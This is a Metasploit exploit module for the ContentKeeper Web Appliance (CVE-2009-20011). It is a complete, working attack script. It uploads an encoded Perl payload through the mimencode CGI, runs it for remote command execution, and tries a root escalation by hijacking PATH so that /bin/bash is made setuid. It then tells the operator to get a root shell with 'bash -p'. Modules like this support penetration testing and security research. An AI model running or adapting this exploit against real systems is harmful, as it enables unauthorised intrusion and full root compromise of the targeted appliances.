##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'	=> 'ContentKeeper Web Remote Command Execution',
        'Description' => %q{
          This module exploits the ContentKeeper Web Appliance. Versions prior
          to 125.10 are affected. This module exploits a combination of weaknesses
          to enable remote command execution as the Apache user. By setting
          SkipEscalation to false, this module will attempt to setuid the bash shell.
        },
        'Author' => [ 'aushack' ],
        'Arch'	=> [ ARCH_CMD ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2009-20011' ],
          [ 'OSVDB', '54551' ],
          [ 'OSVDB', '54552' ],
          [ 'URL', 'http://www.aushack.com/200904-contentkeeper.txt' ],
        ],
        'Privileged'	=> false,
        'Payload' => {
          'DisableNops' => true,
          'Space' => 1024,
          'Compat' =>
                        {
                          'PayloadType' => 'cmd',
                          'RequiredCmd' => 'generic perl telnet',
                        }
        },
        'Platform' => ['unix'],
        'Targets' => [
          [ 'Automatic', {} ]
        ],
        'DisclosureDate' => '2009-02-25',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(80),
        OptString.new('OVERWRITE', [ true, "The target file to upload our payload (spamkeeper.dat, bak.txt, formdate.pl etc)", 'spamkeeper.dat']),
        OptBool.new("SkipEscalation", [true, "Specify this to skip the root escalation attempt", false]),
      ]
    )
  end

  def check
    connect
    sock.put("GET /cgi-bin/ck/mimencode HTTP/1.0\r\n\r\n")
    banner = sock.get_once(-1, 3)
    disconnect

    if (banner =~ /500 Internal/)
      return Exploit::CheckCode::Vulnerable('ContentKeeper mimencode CGI returned 500 Internal error')
    end

    return Exploit::CheckCode::Safe('ContentKeeper mimencode CGI not detected')
  end

  def exploit
    exp = "#!/usr/bin/perl\n"
    exp << "print \"Content-type: text/html\\n\\n\"\;\n\n"
    exp << "use IO::Socket::INET;\n"

    if (datastore['PAYLOAD'] =~ /perl/)
      if not datastore['SkipEscalation']
        print_status("Attempting to facilitate root escalation...")
        exp << %q{ system("echo /bin/chmod u+s /bin/bash > ps; /bin/chmod o+x ps; PATH=.:$PATH; ./benetool stopall;"); } # We can use either 'ps' or 'grep' but ps is fine.
      end
      exp << payload.encoded.gsub('perl -MIO -e ', '').gsub('\'', '') # We're already inside a perl script!
    else
      exp << "system(\""
      exp << payload.encoded.gsub('"', '\"')
      exp << "\");\n"
    end

    body = Rex::Text.encode_base64(exp)

    connect

    sploit = "POST /cgi-bin/ck/mimencode?-u+-o+#{datastore['OVERWRITE']} HTTP/1.1\r\n"
    sploit << "Host: #{datastore['RHOST']}\r\n"
    sploit << "Content-Length: #{body.length}\r\n\r\n"

    print_status("Uploading payload to target...")
    sock.put(sploit + body + "\r\n\r\n")
    disconnect

    select(nil, nil, nil, 3) # Wait a few seconds..
    print_status("Calling payload...")
    connect
    req = "GET /cgi-bin/ck/#{datastore['OVERWRITE']} HTTP/1.1\r\n" # Almost all files are owned by root, chmod'ed 777 :) rwx
    req << "Host: #{datastore['RHOST']}\r\n"
    sock.put(req + "\r\n\r\n")

    handler
    disconnect
    select(nil, nil, nil, 3) # Wait for session creation.
    if not datastore['SkipEscalation'] and session_created? and datastore['PAYLOAD'] =~ /perl/
      print_status("Privilege escalation appears to have worked!")
      print_status("/bin/bash is now root setuid! Type 'bash -p' to get root.")
      print_status("Don't forget to clean up afterwards (chmod -s /bin/bash and restore an original copy of the OVERWRITE file).")
    end
  end
end
